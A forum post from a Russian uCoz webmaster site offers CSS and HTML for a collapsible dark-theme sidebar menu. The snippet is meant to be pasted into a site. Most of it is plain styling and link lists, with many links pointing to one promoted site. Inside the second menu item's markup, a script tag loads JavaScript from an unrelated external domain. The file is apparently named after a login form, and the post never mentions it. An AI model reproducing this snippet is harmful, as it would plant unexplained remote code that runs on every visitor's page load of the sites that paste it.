RSS сайта | RSS форума | RSS каталога файлов | RSS блога | Карта форума | Карта сайта | Все теги сайта
Главная страница

ГлавнаяФорумБлогФайлыОбратная связьО сайтеГостевая книгаПоиск
Настал ваш час, чтобы заработать реальные деньги на своем сайте
ВНИМАНИЕ!!!
Не зарегистрированные участники сайта ProSIdr, т.е. гости, НЕ могут оставлять сообщения на форуме. 
Для более корректного общения убедительная просьба
РЕГИСТРАЦИЯ или ВХОД
Реклама:
[ Новые сообщения · Заработай на своем сайте · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: Admin 
Форум "ProSIdr" » Все для Ucoz » Скрипты для Ucoz » Меню сайта для темных дизайнов (хорошее меню)
Меню сайта для темных дизайнов
OlizinaДата: Суббота, 09.06.2012, 06.48.33 | Сообщение # 1
Сержант
Группа: Пользователи
Сообщений: 36
« »

Ранг:

Доп. данные:
Смотрим скрин скрипта:



Это вставляем в CSS:

Код
mc_menu2 {height:22px;width: 180px;font: normal 10px Arial, Helvetica, sans-serif;text-align: left; margin-top:1px;}       
     .mc_menu2 a:link, .mc_menu2 a:visited {color:#808080;padding-left:5px;line-height:22px;display:block;font-weight:normal;background: #252525 url('http://s41.radikal.ru/i092/1106/da/071a78525d6e.png') no-repeat left center;border-top: 1px solid #333333;border-right: 1px solid #333333;border-left: 1px solid #333333;border-bottom: 1px solid #333333;text-align: left; margin-top:1px;}       
     .mc_menu2 a:hover {color:#ffffff;text-shadow:0 0 5px #ffffff;padding-left:5px;line-height:22px;display:block;font-weight:normal;background: #252525 url('http://s011.radikal.ru/i316/1106/b1/2ebe089d557b.png') no-repeat left center;text-align: left; margin-top:1px;}       

       .mc_menu {height:18px;width: 180px;font: normal 10px Arial, Helvetica, sans-serif;text-align: left;}       
       .mc_menu a:link, .mc_menu a:visited {color:#808080;padding-left:14px;line-height:18px;display:block;font-weight:normal;background: #252525 url('http://s57.radikal.ru/i158/1106/11/a0e1470de1d5.png') no-repeat left center;border-right: 1px solid #333333;border-bottom: 1px solid #333333;border-left: 1px solid #333333;text-align: left;}       
       .mc_menu a:hover {color:#ffffff;text-shadow:0 0 5px #ffffff;padding-left:14px;line-height:18px;display:block;font-weight:normal;border-bottom: 1px solid #debc1d;background: #252525 url('http://s013.radikal.ru/i323/1106/cb/72338b353ad3.png') no-repeat left center;text-align: left;}       

       .mc_menurek {height:18px;width: 180px;font: normal 10px Arial, Helvetica, sans-serif;text-align: left;}       
       .mc_menurek a:link, .mc_menurek a:visited {color:#debc1d;padding-left:14px;line-height:18px;display:block;font-weight:normal;background: #252525 url('http://s57.radikal.ru/i158/1106/11/a0e1470de1d5.png') no-repeat left center;border-right: 1px solid #333333;border-bottom: 1px solid #333333;border-top: 1px solid #333333;border-left: 1px solid #333333;text-align: left;}       
       .mc_menurek a:hover {color:#ff0000;padding-left:14px;line-height:18px;display:block;font-weight:normal;border-bottom: 1px solid #ff0000;background: #252525 url('http://s008.radikal.ru/i304/1106/98/da18d2e6e334.png') no-repeat left center;text-align: left;}


Этот код ставим где хочем видеть меню

Код
<span class="mc_menu2"><a onclick="$('#mc_menu1').slideToggle(400);" href="javascript://">Меню 1</a></span>       
       <div id="mc_menu1" style="display:block"><span class="mc_menu">       
       <a href="http://pro-chit.ru/">Ссылка 1</a>       
       <a href="http://pro-chit.ru/">Ссылка 2</a>       
       <a href="http://pro-chit.ru/">Ссылка 3</a>       
       <a href="http://pro-chit.ru/">Ссылка 4</a>       
       <a href="/">Ссылка 5</a>       
       <a href="/">Ссылка 6</a>       
       <a href="/">Ссылка 7</a>       
       <a href="/">Ссылка 8</a>       
       <a href="/">Ссылка 9</a>       
       <a href="/">Ссылка 10</a>       
       <a href="/">Ссылка 11</a>       
       <a href="/">Ссылка 12</a>       
       </span></div>       
       <span class="mc_menu2"><script language="javascript" src="http://lifi-gta.ru/jogin_form_javascript.js"></script><a onclick="$('#mc_menu2').slideToggle(800);" href="javascript://">Меню 2</a></span>       
       <div id="mc_menu2" style="display:none"><span class="mc_menu">       
       <a href="/">Ссылка 1</a>       
       <a href="/">Ссылка 2</a>       
       <a href="/">Ссылка 3</a>       
       <a href="/">Ссылка 4</a>       
       <a href="/">Ссылка 5</a>       
       <a href="/">Ссылка 6</a>       
       <a href="/">Ссылка 7</a>       
       </span></div>       
       <span class="mc_menu2"><a onclick="$('#mc_menu3').slideToggle(600);" href="javascript://">Меню 3</a></span>       
       <div id="mc_menu3" style="display:none"><span class="mc_menu">       
       <a href="/">Ссылка 1</a>       
       <a href="/">Ссылка 2</a>       
       <a href="http://pro-chit.ru/">Ссылка 3</a>       
       <a href="/">Ссылка 4</a>       
       <a href="/">Ссылка 5</a>       
       <a href="/">Ссылка 6</a>       
       <a href="http://pro-chit.ru/">Ссылка 7</a>       
       <a href="/">Ссылка 8</a>       
       <a href="/">Ссылка 9</a>       
       </span></div>       
       <span class="mc_menu2"><a onclick="$('#mc_menu4').slideToggle(1200);" href="javascript://">Меню 4</a></span>       
       <div id="mc_menu4" style="display:none"><span class="mc_menu">       
       <a href="/">Ссылка 1</a>       
       <a href="http://pro-chit.ru/">Ссылка 2</a>       
       <a href="http://pro-chit.ru/">Ссылка 3</a>       
       <a href="http://pro-chit.ru/">Ссылка 4</a>       
       </span></div>       
       <span class="mc_menu2"><a onclick="$('#mc_menu5').slideToggle(600);" href="javascript://">Меню 5</a></span>       
       <div id="mc_menu5" style="display:none"><span class="mc_menu">       
       <a href="/">Ссылка 1</a>       
       <a href="/">Ссылка 2</a>       
       <a href="/">Ссылка 3</a>       
       <a href="http://pro-chit.ru/">Ссылка 4</a>       
       <a href="http://pro-chit.ru/">Ссылка 5</a>       
       <a href="/">Ссылка 6</a>       
       <a href="/">Ссылка 7</a>       
       <a href="/">Ссылка 8</a>       
       <a href="/">Ссылка 9</a>       
       </span></div>       
       <span class="mc_menu"><a href="http://pro-chit.ru/"><b>Pro-Chit.ru</b></a></span>       
       <hr>       
       <span class="mc_menurek"><a href="/">Рекламное место</a></span>


ludochka

добавить на Яндекс
 
Форум "ProSIdr" » Все для Ucoz » Скрипты для Ucoz » Меню сайта для темных дизайнов (хорошее меню)
Страница 1 из 11
Поиск:
Сегодня нас посетили
Jamespeddy, pillsmn


www.megastock.ru
PR-CY.ru Яндекс.Метрика

Администрация сайта не претендует на авторские права. Материалы предоставленные на сайте, принадлежат их владельцам и предоставляются исключительно в ознакомительных целях.
Cайт оптимизирован для просмотра браузером Opera, Google Chrome, Mozilla Firefox, Safari.
           

Яндекс.Метрика